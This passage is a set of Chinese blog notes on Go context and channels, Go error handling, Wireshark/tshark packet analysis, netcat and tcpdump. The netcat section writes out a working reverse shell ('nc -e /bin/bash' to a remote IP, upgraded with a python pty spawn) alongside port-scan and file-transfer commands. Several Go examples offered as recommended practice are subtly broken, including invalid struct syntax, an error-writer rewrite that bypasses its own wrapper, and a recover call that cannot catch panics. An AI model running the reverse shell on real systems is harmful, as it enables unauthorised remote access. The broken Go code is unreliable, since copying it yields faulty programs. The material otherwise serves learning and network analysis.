func FromIncomingContext(ctx context.Context) (md MD, ok bool) 这里的md 就是一个map type MD map[string][]string 这样对于多个key/value的时候就可以用这个MD 一次把多个对象挂进去,不过这里需要注意:如果一个groutine从ctx中读出这个map对象是不能直接修改的。因为如果这个时候ctx被传递给了多个gouroutine, 如果直接修改就会导致data race, 因此需要使用copy-on-write的思路,解决跨多个goroutine使用数据,修改数据的场景。


比如如下场景:


新建一个context.Background() 的ctx1, 携带了一个map 的数据, map中包含了k1:v1 的键值对,ctx1 作为参数传递给了两个goroutine,其中一个goroutine从ctx1中获取map1,构建一个新的map对象map2,复制所有map1的数据,同时追加新的数据k2:v2 键值对,使用context.WithValue 创建新的ctx2,ctx2 会继续传递到其他groutine中。 这样各自读取的副本都是自己的数据,写行为追加的数据在ctx2中也能完整的读取到,同时不会污染ctx1中的数据,这种处理方式就是典型的COW(COPY ON Write)


context cancel

当一个context被取消时, 从它派生的所有context也将被取消。WithCancel(ctx)参数认为是parent ctx, 在内部会进行一个传播关系链的关联。Done() 返回一个chan,当我们取消某个parent context, 实际上会递归层层cancel掉自己的chaild context 的done chan 从而让整个调用链中所有监听cancel的goroutine退出


下面是官网的例子,稍微调整了一下代码:


package main

import (
"context"
"fmt"
)

func main() {
// gen generates integers in a separate goroutine and
// sends them to the returned channel.
// The callers of gen need to cancel the context once
// they are done consuming generated integers not to leak
// the internal goroutine started by gen.
gen := func(ctx context.Context) <-chan int {
dst := make(chan int)
n := 1
go func() {
for {
select {
case <-ctx.Done():
return // returning not to leak the goroutine
case dst <- n:
n++
}
}
}()
return dst
}

ctx, cancel := context.WithCancel(context.Background())

for n := range gen(ctx) {
fmt.Println(n)
if n == 5 {
cancel()
}
}
}

如果实现一个超时控制,通过上面的context的parent/child 机制, 其实只需要启动一个定时器,然后再超时的时候,直接将当前的context给cancel掉,就可以实现监听在当前和下层的context.Done()和goroutine的退出。


package main

import (
"context"
"fmt"
"time"
)

const shortDuration = 1 * time.Millisecond

func main() {
d := time.Now().Add(shortDuration)
ctx, cancel := context.WithDeadline(context.Background(), d)

// Even though ctx will be expired, it is good practice to call its
// cancellation function in any case. Failure to do so may keep the
// context and its parent alive longer than necessary.
defer cancel()

select {
case <-time.After(1 * time.Second):
fmt.Println("overslept")
case <-ctx.Done():
fmt.Println(ctx.Err())
}

}

关于context 使用的规则总结:


  • Incoming requests to a server should create a Context.
  • Outgoing calls to servers should accept a Context.
  • Do not store Contexts inside a struct type; instead, pass a Context explicitly to each function that needs it.
  • The chain of function calls between them must propagate the Context.
  • Replace a Context using WithCancel, WithDeadline, WithTimeout, or WithValue.
  • When a Context is canceled, all Contexts derived from it are also canceled.
  • The same Context may be passed to functions running in different goroutines; Contexts are safe for simultaneous use by multiple goroutines.
  • Do not pass a nil Context, even if a function permits it. Pass a TODO context if you are unsure about which Context to use.
  • Use context values only for request-scoped data that transits processes and APIs, not for passing optional parameters to functions.
  • All blocking/long operations should be cancelable.
  • Context.Value obscures your program’s flow.
  • Context.Value should inform, not control.
  • Try not to use context.Value.

Channel

channels 是一种类型安全的消息队列,充当两个 goroutine 之间的管道,将通过它同步的进行任意资源的交换。channel 控制 goroutines 交互的能力从而创建了 Go 同步机制。当创建的 channel 没有容量时,称为无缓冲通道。反过来,使用容量创建的 channel 称为缓冲通道。


无缓冲 chan 没有容量,因此进行任何交换前需要两个 goroutine 同时准备好。当 goroutine 试图将一个资源发送到一个无缓冲的通道并且没有goroutine 等待接收该资源时,该通道将锁住发送 goroutine 并使其等待。当 goroutine 尝试从无缓冲通道接收,并且没有 goroutine 等待发送资源时,该通道将锁住接收 goroutine 并使其等待。


  • Receive 先于Send发生
  • 好处:100%保证能收到
  • 代价:延迟时间未知

buffered channel 具有容量,因此其行为可能有点不同。当 goroutine 试图将资源发送到缓冲通道,而该通道已满时,该通道将锁住 goroutine并使其等待缓冲区可用。如果通道中有空间,发送可以立即进行,goroutine 可以继续。当goroutine 试图从缓冲通道接收数据,而缓冲通道为空时,该通道将锁住 goroutine 并使其等待资源被发送。


  • Send先于Receive发生
  • 好处:延迟更小
  • 代价:不保证数据到达,越大的 buffer,越小的保障到达。buffer = 1 时,给你延迟一个消息的保障。

注意:


  • channel的大小不代表性能和吞吐。吞吐是需要靠多线程,即多个消费的goroutine消费
  • 注意:关于channel的close一定是发送者来操作。
收起阅读 »

Go进阶笔记-关于error

很多人对于Go的error比较吐槽,说代码中总是会有大量的如下代码: if err != nil { ... } 其实很多时候是使用的姿势不对,或者说,对于error的用法没有完全理解,这里整理一下关于Go中的error 。 关于源码中的error先看...
继续阅读 »

很多人对于Go的error比较吐槽,说代码中总是会有大量的如下代码:


if err != nil {
...
}

其实很多时候是使用的姿势不对,或者说,对于error的用法没有完全理解,这里整理一下关于Go中的error 。


关于源码中的error

先看一下go源码中go/src/builtin/builtin.go对于error的定义:


// The error built-in interface type is the conventional interface for
// representing an error condition, with the nil value representing no error.
type error interface {
Error() string
}

我们使用的时候经常会通过errors.New() 来返回一个error对象,这里可以看一下我们调用errors.New()的这段源码文件go/src/errors/errors.go,可以看到errorString实现了error解接口,而errors.New()其实返回的是一个 &errorString{text} 即errorString对象的指针。


package errors

// New returns an error that formats as the given text.
// Each call to New returns a distinct error value even if the text is identical.
func New(text string) error {
return &errorString{text}
}

// errorString is a trivial implementation of error.
type errorString struct {
s string
}

func (e *errorString) Error() string {
return e.s
}

如果之前看过一些优秀源码或者go源码的,会发现代码中通常会定义很多自定义的error,并且都是包级别的变量,即变量名首字母大写:


// https://golang.org/pkg/bufio


var (
ErrInvalidUnreadByte = errors.New("bufio: invalid use of UnreadByte")
ErrInvalidUnreadRune = errors.New("bufio: invalid use of UnreadRune")
ErrBufferFull = errors.New("bufio: buffer full")
ErrNegativeCount = errors.New("bufio: negative count")
)

注意:自己之后在代码中关于这种自定义错误的定义,也要参照这种格式规范定义。
“当前的包名:错误信息”


package main

import (
"errors"
"fmt"
)

type errorString string

// 实现 error 接口
func (e errorString) Error() string {
return string(e)
}

func New(text string) error {
return errorString(text)
}

var errNamedType = New("EOF")
var ErrStructType = errors.New("EOF")

func main() {
// 这里其实就是两个结构体值的比较
if errNamedType == New("EOF") {
fmt.Println("Named Type Error") // 这行打印会输出
}
// 标准库中errors.New() 返回的是一个地址,每次调用都会返回一个新的内存地址
// 标准库这样设计也是为了避免碰巧如果两个结构体值相同了,而引发一些不期望的问题
if ErrStructType == errors.New("EOF") {
fmt.Println("Struct Type Error") // 这行打印不会输出
}
}

关于结构体值的比较:


如果两个结构体值的类型均为可比较类型,则它们仅在它们的类型相同或者它们的底层类型相同(要考虑字段标签)并且其中至少有一个结构体值的类型为非定义类型时才可以互相比较。


如果两个结构体值可以相互比较,则它们的比较结果等同于逐个比较它们的相应字段。



注意:关于Go中函数支持多参数返回,如果函数有error的通常把返回值的最后一个参数作为error



如果一个函数返回(value, error)这个时候必须先判定error
Go中的panic 意味着程序挂了不能继续运行了,不能假设调用者来解决panic。

对于刚学习go的时候经常用如下代码开启一个goroutine执行任务:


go func() {
...
}

这种情况也叫野生goroutine,并且这个时候recover是不能解决的。


可以定义一个包,通过调用该包中的Go() 方法来开goroutine,来避免野生goroutine。


package sync

func Go(x func()) {

if err := recover(); err != nil {
....
}
go x()
}

关于代码的panic 通常在代码中是很少使用的,只有在极少情况下,我们需要panic,如我们项目的初始化地方连接数据库连接不上,并且这个时候,数据库是我们程序的强依赖,那么这个时候是可以panic。


下面通过一个例子来演示error的使用姿势:


package main

import (
"errors"
"fmt"
)

// 判断正负数
func Positivie(n int) (bool, error) {
if n == 0 {
return false, errors.New("undefined")
}
return true, nil
}

func Check(n int) {
pos, err := Positivie(n)
if err != nil {
fmt.Println(n, err)
return
}
if pos {
fmt.Println(n, "is positive")
} else {
fmt.Println(n, "is negative")
}
}

func main() {
Check(1)
Check(0)
Check(-1)
}

上面是一种非常正确的姿势,我们通过返回(value, error) 这种方式来解决,也是非常go 的一种写法,只有err!=nil 的时候我们的value才有意义


那么在实际中可能有很多各种姿势来解决上述的问题,如下:


package main

import "fmt"

func Positive(n int) *bool {
if n == 0 {
return nil
}
r := n > -1
return &r
}

func Check(n int) {
pos := Positive(n)
if pos == nil {
fmt.Println(n, "is neither")
return
}
if *pos {
fmt.Println(n, "is positive")
} else {
fmt.Println(n, "is negative")
}
}

func main() {
Check(1)
Check(0)
Check(-1)
}

另外一种姿势:


package main

import "fmt"

func Positive(n int) bool {
if n == 0 {
panic("undefined")
}
return n > -1
}

func Check(n int) {
defer func() {
if recover() != nil {
fmt.Println("is neither")
}
}()

if Positive(n) {
fmt.Println(n, "is positive")
} else {
fmt.Println(n, "is negative")
}
}

func main() {
Check(1)
Check(0)
Check(-1)
}

上面这两种姿势虽然也可以实现这个功能,但是非常的不好,也不推荐使用。在代码中尽可能还是使用(value, error) 这种返回值来解决error的情况。


对于真正意外的情况,那些不可恢复的程序错误,例如索引越界,不可恢复的环境问题,栈溢出等才会使用panic,对于其他的情况我们应该还是期望使用error来进行判定。


error 处理套路

Sentinel Error 预定义error

通常我们把代码包中如下的这种error叫预定义error.


// https://golang.org/pkg/bufio


var (
ErrInvalidUnreadByte = errors.New("bufio: invalid use of UnreadByte")
ErrInvalidUnreadRune = errors.New("bufio: invalid use of UnreadRune")
ErrBufferFull = errors.New("bufio: buffer full")
ErrNegativeCount = errors.New("bufio: negative count")
)

这种姿势的缺点:


  • 对于这种错误,在实际中的使用中我们通常会使用 if err == ErrSomething {....} 这种姿势来进行判断。但是也不得不说,这种姿势是最不灵活的错误处理策略,并且不能对于错误提供有用的上下文。


  • Sentinel errors 成为API的公共部分。如果你的公共函数或方法返回一个特定值的错误,那么该错误就必须是公共的,当然要有文档记录,这最终会增加API的表面积。


  • Sentinel errors 在两个包之间创建了依赖。对于使用者不得不导入这些错误,这样就在两个包之间建立了依赖关系,当项目中有许多类似的导出错误值时,存在耦合,项目中的其他包必须导入这些错误值才能检查特定的错误条件。


Error types

Error type 是实现了error接口的自定义类型,例如MyError类型记录了文件和行号以展示发生了什么


type MyError struct {
Msg string
File string
Line int
}

func (e *MyError) Error() string {
return fmt.Sprintf("%s:%d:%s", e.File,e.Line, e.Msg)
}

func test() error {
return &MyError("something happened", "server.go", 11)
}

func main() {
err := test()
switch err := err.(type){
case nil:
// ....
case *MyError:
fmt.Println("error occurred on line:", err.Line)
default:
// ....
}
}

这种方式其实在标准库中也有使用如os.PathError


// https://golang.org/pkg/os/#PathError

type PathError struct {
Op string
Path string
Err error
}

调用者要使用类型断言和类型switch,就要让自定义的error变成public,这种模型会导致和调用者产生强耦合,从而导致API变得脆弱。


Opaque errors

这种方式也称为不透明处理,这也是相对来说比较优雅的处理方式,如下


func fn() error {

x, err := bar.Foo()
if err != nil {
return err
}
// use x
}

这种不透明的实现方式,一种比较好的用法,这里以net库的代码来看:


// https://golang.org/pkg/net/#Error

type Error interface {
error
Timeout() bool // Is the error a timeout?
Temporary() bool // Is the error temporary?
}

这里是定义了一个Error接口,而让其他需要用到error的来实现这个接口,如net中的下面这个错误


// https://golang.org/pkg/net/#DNSConfigError

type DNSConfigError
func (e *DNSConfigError) Error() string
func (e *DNSConfigError) Temporary() bool
func (e *DNSConfigError) Timeout() bool
func (e *DNSConfigError) Unwrap() error

按照这个方式实现我们使用net时的异常处理可能就是如下情况:


if neerr, ok := err.(net.err); ok && nerr.Temporary() {
time.Sleep(time.Second * 10)
continue
}
if err != nil {
log.Fatal(err)
}

其实这样还是不够优雅,好的方式是我们卡一定义temporary的接口,然后取实现这个接口,这样整体代码就看着非常简洁清楚,对外我们就只需要暴露IsTemporary方法即可,而不用外部再进行断言。


Type temporary interface {
Temporary() bool
}

func IsTemporary(err error) bool {
te, ok := err.(temporary)
return ok && te.Temporary()
}

以上这几种姿势,其实各有各的用处,不同的场景,选择可能也不同,需要根据实际场景实际分析。


一个error 技巧使用例子

先看一段代码,相信这段代码如果很多人实现的时候也都是这个样子:


type Header struct {
Key, Value string
}

type Status struct {
Code int
Reason string
}

func WriteResponse(w io.Writer, st Status, headers []Header, body io.Reader) error {

_, err := fmt.Fprintf(w, "HTTP/1.1 %d %s\r\n", st.Code, st.Reason)
if err != nil {
return err
}

for _, h := range headers {
_, err := fmt.Fprintf(w, "%s:%s\r\n", h.Key, h.Value)
if err != nil {
return err
}
}

if _, err := fmt.Fprint(w, "\r\n"); err != nil {
return err
}

_, err = io.Copy(w, body)
return err
}

看这段代码时候估计很多就开始吐嘈go的error的处理,感觉代码中会存在很多err的判断处理,其实这里是可以写的更优雅一点的,上面的姿势不对,来换个姿势:


type errWriter struct {
io.Writer
err error
}

func(e *errWriter) Write(buf []byte) (int, error) {
if e.err != nil {
return 0, e.err
}

var n int
n, e.err = e.Writer.Write(buf)
return n,nil
}

func WriteResponse(w io.Writer, st Status, headers []Header, body io.Reader) error {
ew :=&errWriter{Writer:w}
fmt.Fprintf(ew, "HTTP/1.1 %d %s\r\n", st.Code, st.Reason)

for _, h := range headers {
fmt.Fprintf(ew, "%s:%s\r\n", h.Key, h.Value)
}

fmt.Fprint(w, "\r\n")

io.Copy(w, body)
return ew.err
}

对比之下这种代码看起来是不是就非常简洁,所有很多时候可能是自己写代码的姿势不对,而不是go的error设计的不好。


Wrap errors

就像下面这段代码一样,这样的使用方式,我自己在工程代码中也经常看到,这样就会导致生成的错误没有file:line信息,没有导致错误的调用堆栈信息,如果出现异常就非常不方便排查到底是哪里导致的问题,其次因为这里通过fmt.Errorf对错误进行了包装,也就破坏了原始错误。


func AuthenticateReuest(r *Request) error {
err := authenticate(r.User)
if err != nil {
return fmt.Errorf("authenticate failed:%v", err)
}
return nil
}

关于error的处理中还有一个非常重要的地方就是是否是每次出现err!=nil的时候,我们都需要打印日志? 如果这样做了,你会发现到处在打印日志,还有很多地方可能打印的是相同的日志。


func WriteAll(w io.Writer, buf[]byte) error {
_, err := w.Write(buf)
if err != nil {
log.Println("unalbe to write:",err) //这里记录了日志
return err //将日志进行上抛给调用者
}
return nil
}

func WriteConfig(w io.Writer, conf *Config) error {
buf, err := json.Marshal(conf)
if err != nil {
log.Printf("cound not marshal config:%v", err)
return err
}
if err := WriteAll(w, buf); err != nil {
log.Println("cound not write config:%v",err)
return err
}
return nil
}

在上面这个例子中, 这个错误逐层返回给调用者,如果处理不好,可能就像上面这个例子,每次都打印日志,一直到程序的顶部
所以:error应该只被处理一次。
Go中错误的处理契约规定:在出现错误的情况下,不能对其他返回值的内容做任何假设,如下代码中,由于json序列化失败,buf的内容是未知的,这个时候把损坏的buf传给后续处理逻辑,这样就会导致一些未知的错误发生。

func WriteConfig(w io.Writer, conf *Config) error {
buf, err := json.Marshal(conf)
if err != nil {
log.Printf("cound not marshal config:%v", err)
// 忘记return
}
if err := WriteAll(w, buf); err != nil {
log.Println("cound not write config:%v",err)
return err
}
return nil
}

关于错误日志处理的规则:


  • 错误要被日志记录
  • 应用程序处理错误,保证100%的完整性
  • 之后不再报告当前错误

github.com/pkg/errors 这个error处理包非常受欢迎,看一下这个包对错误的处理例子:


package main

import (
"fmt"
"io/ioutil"
"os"
"path/filepath"

"github.com/pkg/errors"
)

func ReadFile(path string) ([]byte, error) {
f, err := os.Open(path)
if err != nil {
return nil, errors.Wrap(err, "open failed")
}
defer f.Close()
buf, err := ioutil.ReadAll(f)
if err != nil {
return nil, errors.Wrap(err, "read failed")
}
return buf, nil
}

func ReadConfig() ([]byte, error) {
home := os.Getenv("HOME")
config, err := ReadFile(filepath.Join(home, ".settings.xml"))
return config, errors.WithMessage(err, "cound not read config")
}

func main() {
_, err := ReadConfig()
if err != nil {
fmt.Printf("original err:%T %v\n", errors.Cause(err), errors.Cause(err))
fmt.Printf("stack trace:\n %+v\n",err) // %+v 可以在打印的时候打印完整的堆栈信息
os.Exit(1)
}
}

执行结果如下:


original err:*os.PathError open /Users/zhaofan/.settings.xml: no such file or directory
stack trace:
open /Users/zhaofan/.settings.xml: no such file or directory
open failed
main.ReadFile
/Users/zhaofan/open_source_study/test_code/202012/wrap_errors/main.go:15
main.ReadConfig
/Users/zhaofan/open_source_study/test_code/202012/wrap_errors/main.go:27
main.main
/Users/zhaofan/open_source_study/test_code/202012/wrap_errors/main.go:32
runtime.main
/Users/zhaofan/app/go/src/runtime/proc.go:204
runtime.goexit
/Users/zhaofan/app/go/src/runtime/asm_amd64.s:1374
cound not read config
exit status 1

从代码上也非常简洁,处理的非常优雅,最终不管是错误信息还是堆栈信息,还可以添加自定义的上下文,同时也完全满足上面提出的关于错误日志处理的规则。
关于代码中的Wrap源码如下:


// Wrap returns an error annotating err with a stack trace
// at the point Wrap is called, and the supplied message.
// If err is nil, Wrap returns nil.
func Wrap(err error, message string) error {
if err == nil {
return nil
}
err = &withMessage{
cause: err,
msg: message,
}
return &withStack{
err,
callers(),
}
}

可以看到我们每次调用errors.Wrap方法的时候都是把我们的错误信息err存入到withMessage结构体的cause字段,同时又把包装的withMessage 作为err存到withStack结构体中,同时withStack包含了调用堆栈的信息


type withMessage struct {
cause error
msg string
}

关于github.com/pkg/errors使用姿势

  • 你自己的应用程序中,使用errors.New或者errors.Errorf返回错误
  • 如果调用其他包内的函数或者你当前项目里的其他函数,通常简单的直接返回,即直接return err
  • 如果你使用第三方库如github库,公司的基础库,或者go的基础库,这个时候应该使用errors.Wrap或者errors.Wrapf保存堆栈信息,同时添加自定义的上下文信息
  • 直接返回错误,而不是每个错误产生的地方打日志
  • 在程序的顶部或者工作的goroutine顶部(请求入口)使用%+v把堆栈详情记录
  • 使用errors.Cause 获取root error即根因,在进行和sentinel error进行等值判定
  • 一旦错误被处理,包括你打印日志,或者降级处理等,这个时候你就不应该再向上抛出err,而应该return nil.

go1.13 中的errors

go 1.13 为errors和fmt标准库引入了新的特性,以简化处理包含其他错误的错误。其中最重要的就是:包含一个错误的error可以实现返回底层错误的Unwrap 方法。如果e1.Unwrap() 返回e2, 那么e1就包装了e2,就可以展开e1以获取e2


在Go的1.13 中fmt.Errorf支持新的%w ,这样就在错误信息中带入原始的信息,这样既保证了人阅读的方便,也方便了机器处理,如:


if err != nil {
return fmt.Errorf("access denied %w", ErrrPermission)
}

把之前的例子进行调整如下:


package main

import (
"fmt"
"io/ioutil"
"os"
"path/filepath"

"errors"
)


func ReadFile(path string) ([]byte, error) {
f, err := os.Open(path)
if err != nil {
return nil, fmt.Errorf("open failed: %w", err)
}

defer f.Close()
buf, err := ioutil.ReadAll(f)
if err != nil {
return nil, fmt.Errorf("read failed: %w", err)
}
return buf, nil
}


func ReadConfig() ([]byte, error) {
home := os.Getenv("HOME")
config, err := ReadFile(filepath.Join(home, ".settings.xml"))
return config, fmt.Errorf("cound not read config: %w", err)
}

func main() {
_, err := ReadConfig()
if err != nil {
// errors.Is会一层一层的展开,找最内层的err
fmt.Println(errors.Is(err, os.ErrNotExist))
os.Exit(1)
}
}

但是1.13的errors有个非常大的问题就是不支持携带堆栈信息,所以最好的办法就是把标准库中的errorsgithub.com/pkg/errors


package main

import (
"errors"
"fmt"

xerrors "github.com/pkg/errors"
)

var errMy = errors.New("My Error")

func test0() error {
return xerrors.Wrapf(errMy, "test0 failed")
}

func test1() error {
return test0()
}

func test2() error {
return test1()
}

func main() {
err := test2()
fmt.Printf("main: %+v\n", err)
fmt.Println(errors.Is(err, errMy))
}

其实原则就是我们底层的错误还是通过 github.com/pkg/errorsWrapf 进行包装。并且这个时候也完全兼容标准库中的errors,可以使用errors.Iserrors.As方法做判断处理。

收起阅读 »

数据包分析基础

以太网网卡混杂模式和非混杂模式: 混杂模式:不管数据帧中的目的地址是否与自己的地址匹配,都接收 非混杂模式:只接收目的地址相匹配的数据帧,以及广播数据包和组播数据包 在数据包的分析中离不开的工具就是wireshark, 这里整理一下重要的几个功能: 统计-捕获...
继续阅读 »

以太网网卡混杂模式和非混杂模式:


混杂模式:不管数据帧中的目的地址是否与自己的地址匹配,都接收


非混杂模式:只接收目的地址相匹配的数据帧,以及广播数据包和组播数据包


在数据包的分析中离不开的工具就是wireshark, 这里整理一下重要的几个功能:


统计-捕获文件属性

DemgVs.png


在属性里看到数据包的一些基本属性,如:大小,长度,时间


这里关于时间需要注意,这里显示的第一个分组时间并不一定是这个时间发送的,可能是之前就已经发送了,所以这里的第一个分组的时间和最后的分组时间是我们抓包的开始和结束,并不是这个数据包发送的开始和结束


统计-已解析的地址

这个功能会将数据包中的host和port进行整理展示,如下图所示:


DeuA0J.png


DeuE79.png


统计-协议分级

Deumfx.png


这个可以让非常清楚的看到各个协议在整个数据包中占用的比例,这样对于分析数据包是非常有帮助的。如上图中,整个数据包主要是TCP的数据包,在TCP下面可以看到主要是HTTP


过滤器

wireshark 统计中的协议分级是非常重要的,可以很清楚的看到这次捕获的数据主要是什么类型的。


常用的过滤方法:


ip.src == 127.0.0.1 and tcp.port == 8080

ip.src_host == 192.168.100.108

ip.src == 192.168.199.228 and ip.dst eq 192.168.199.228

如果没有指明协议,默认抓取所有协议数据


如果没有指明来源或目的地址,默认使用src or dst


逻辑运算:not and or


not具有最高优先级,or 和 and 具有相同的优先级,运算时从左到右进行


一些简单的例子:


显示目的UDP端口53的数据包:udp.port==53

显示来源ip地址为192.168.1.1的数据包:ip.src_host == 192.168.1.1

显示目的或来源ip地址为192.168.1.1的数据包:ip.addr == 192.168.1.1

显示源为TCP或UDP,并且端口返回在2000-5000范围内的数据包:tcp.srcport > 2000 and tcp.srcport < 5000

显示除了icmp以外的包:not icmp

显示来源IP地址为172.17.12.1 但目的地址不是192.168.2.0/24的数据包:ip.src_host == 172.17.12.1 and not ip.dst_host == 192.168.2.0/24

过滤http的get请求: http.request.method == "GET"
显示SNMP或DNS或ICMP的数据包: snmp || dns || icmp

显示来源或目的IP地址为10.1.1.1的数据包:ip.addr == 10.1.1.1

显示来源不为10.1.2.3 或者目的不为10.4.5.6的数据包:ip.src != 10.1.2.3 or ip.dst != 10.4.5.6

显示来源不为10.1.2.3 并且目的不为10.4.5.6的数据包:ip.src != 10.1.2.3 and ip.dst != 10.4.5.6

显示来源或目的UDP端口号为4569的数据包: udp.port == 4569

显示目的TCP端口号为25的数据包: tcp.dstport == 25

显示带有TCP标志的数据包:tcp.flats

显示带有TCP SYN标志的数据包: tcp.flags.syn == 0x02

Follow TCP Stream

在抓取和分析基于TCP协议的包,从应从角度查看TCP流的内容,在很多时候都是非常有用的。


D1wOXt.png


通过Follow TCP Stream 可以很容易对tcp对数据进行追踪,同时利用文件导出功能可以很容易看到这段数据中的异常


tshark

tshark 可以帮助我们很容易的对抓包中的一些数据进行整合处理,例如如果我们发现tcp数据包中的urg 紧急指针位有问题,存在异常流量,如果想要快速把数据进行解析,这个时候tshark就是一个很好的工具


tshark -r aaa.pcap -T fileds -e tcp.urgent_pointer | egrep  -vi "^0$" | tr '\n' ','

将过去的数据通过python程序就可以很容易取出


root@kali:~# python3
Python 3.7.4 (default, Jul 11 2019, 10:43:21)
[GCC 8.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> a = [67,84,70,123,65,110,100,95,89,111,117,95,84,104,111,117,103,104,115,95,73,116,95,87,97]
>>> print("".join([chr(x) for x in a]))
CTF{And_You_Thoughs_It_Wa
>>>

NC

netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,


netcat所做的就是在两台电脑之间建立链接并返回两个数据流。


root@kali:~# nc -h
[v1.10-41.1]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b allow broadcasts
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-k set keepalive option on socket
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-q secs quit after EOF on stdin and delay of secs
-s addr local source address
-T tos set Type Of Service
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-C Send CRLF as line-ending
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').
root@kali:~#

下面是关于nc常用功能的整理


端口扫描

root@kali:~# nc -z -v -n 192.168.1.109 20-100
(UNKNOWN) [192.168.1.109] 22 (ssh) open
root@kali:~# nc -v 192.168.1.109 22
192.168.1.109: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.1.109] 22 (ssh) open
SSH-2.0-OpenSSH_6.6.1

Protocol mismatch.
root@kali:~#

可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp.


一旦你发现开放的端口,你可以容易的使用netcat 连接服务抓取他们的banner。


Chat Server

nc 也可以实现类似聊天的共能


在server端执行监听:


[root@localhost ~]# nc -l 9999
i am client
i am server
hahahahah

在客户端执行如下:


root@kali:~# nc 192.168.1.109 9999
i am client
i am server
hahahahah

简单反弹shell

在服务端执行:


[root@localhost ~]# nc -vvl 9999
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 192.168.1.104.
Ncat: Connection from 192.168.1.104:49804.
ls
a.txt
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
python -c 'import pty;pty.spawn("/bin/bash")'
root@kali:~# ls
ls
a.txt Documents Music Public Videos
Desktop Downloads Pictures Templates
root@kali:~#

客户端执行:


root@kali:~# nc -e /bin/bash 192.168.1.109 9999

这样我们在服务端就得到了客户端的shell权限


同时为了获得交互式的shell,可以通过python简单实现:


python -c 'import pty;pty.spawn("/bin/bash")'


文件传输

nc也可以实现文件传输的功能


在服务端:


[root@localhost ~]# nc -l 9999 < hello.txt 
[root@localhost ~]#

在客户端通过nc进行接收


root@kali:~# nc -n 192.168.1.109 9999 > test.txt
root@kali:~# cat test.txt
hello world
root@kali:~#

加密发送的数据

nc 是默认不对数据加密的,如果想要对nc发送的数据加密


在服务端:


nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt

客户端:


mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567

使用mcrypt工具解密数据。


以上两个命令会提示需要密码,确保两端使用相同的密码。


这里是使用mcrypt用来加密,使用其它任意加密工具都可以。


TCPDUMP

tcpdump 是linux上非常好用的抓包工具,并且数据可以通过wireshark 分析工具进行分析


tcpdump -D 可以查看网卡列表


root@kali:~# tcpdump -D
1.eth0 [Up, Running]
2.lo [Up, Running, Loopback]
3.any (Pseudo-device that captures on all interfaces) [Up, Running]
4.nflog (Linux netfilter log (NFLOG) interface) [none]
5.nfqueue (Linux netfilter queue (NFQUEUE) interface) [none]
6.bluetooth0 (Bluetooth adapter number 0) [none]
root@kali:~#

-c : 指定要抓包的数量


-i interface: 指定tcpdump需要监听的端口,默认会抓取第一个网络接口


-n : 对地址以数字方式显示,否则显示为主机名


-nn: 除了-n的作用外,还把端口显示未数值,否则显示端口服务名


-w: 指定抓包输出到的文件


例如:


抓取到本机22端口包:tcpdump -c 10 -nn -i ens33 tcp dst port 22

收起阅读 »

Go进阶笔记-微服务概览与治理

基本上在产品的最开始阶段,为了快速构建产品,都是单体架构,尽快我们也会按照业务划分模块,但是这个样子始终最终部署的时候还是单体式应用。如我们早期可以使用Python 的Django快速迭代一个web应用,我们会在Django中划分不同的模块,也就是Django...
继续阅读 »

基本上在产品的最开始阶段,为了快速构建产品,都是单体架构,尽快我们也会按照业务划分模块,但是这个样子始终最终部署的时候还是单体式应用。
如我们早期可以使用Python 的Django快速迭代一个web应用,我们会在Django中划分不同的模块,也就是Django中的app。
而随着业务的迭代发展,项目越来越复杂,可能就会导致应用的扩展,可靠性越来越低,最终导致敏捷开发和自动化部署变得无法完成。

微服务定义

关于SOA



面向服务的架构(SOA)是一个组件模型,它将应用程序的不同功能单元(称为服务)进行拆分,并通过这些服务之间定义良好的接口和协议联系起来。接口是采用中立的方式进行定义的,它应该独立于实现服务的硬件平台、操作系统和编程语言。这使得构建在各种各样的系统中的服务可以以一种统一和通用的方式进行交互。



所以我们可以把微服务看做是SOA的一种实践:


  • 小即是美:小的服务代码少,bug也少,易于测试,易于维护,也更容易不断迭代完善。
  • 单一职责:一个服务只需要干好一件事情,专注才能做好。

什么是微服务?

围绕业务功能构建的,服务关注单一业务,服务间采用轻量级的通信机制,可以全自动独立部署,可以使用不同的编程语言和数据存储技术。微服务架构通过业务拆分实现服务组件化,通过组件组合快速开发系统,业务单一的服务组件又可以独立部署,使整个系统变得清晰灵活。


  • 原子服务
  • 独立进程
  • 隔离部署
  • 去中心化服务治理

注意:基础设施的建设,复杂度高。


自己的理解:


  • 简单说就是微小的服务或应用,比如linux上的各种工具:ls,cat,awk等
  • 微服务就是让每个小的服务专注的做好一件事
  • 每个服务单独开发和部署,服务之间是完全隔离的

微服务的优缺点

微服务也不是万金油,并不是所有的情况都需要做成微服务,同时微服务也有自己的缺点或者说微服务也会带来一些问题:


  • 微服务应用是分布式系统,因此系统必然会比单体应用的时候复杂:开发者不得不适用RPC或者消息传递来实现进程间通信;必须要写代码来处理消息传递中速度过慢或者服务不可用等局部失效问题。
  • 分区的数据库架构,同时更新多个业务主体的事务很普遍。这种事务对单体式应用来说很容易,因为只有一个数据库。在微服务架构中,需要更新不同服务使用的不同的数据库,从而对开发者提供了更高的要求和挑战。
  • 测试一个基于微服务的应用也变的很复杂。
  • 服务模块的依赖,应用的升级可能会涉及多个服务模块的修改。

优点:


  • 迭代周期短,极大的提升开发效率
  • 独立部署,独立开发
  • 可伸缩性好,能够针对指定的服务进行伸缩
  • 故障隔离,不会相互影响

缺点:


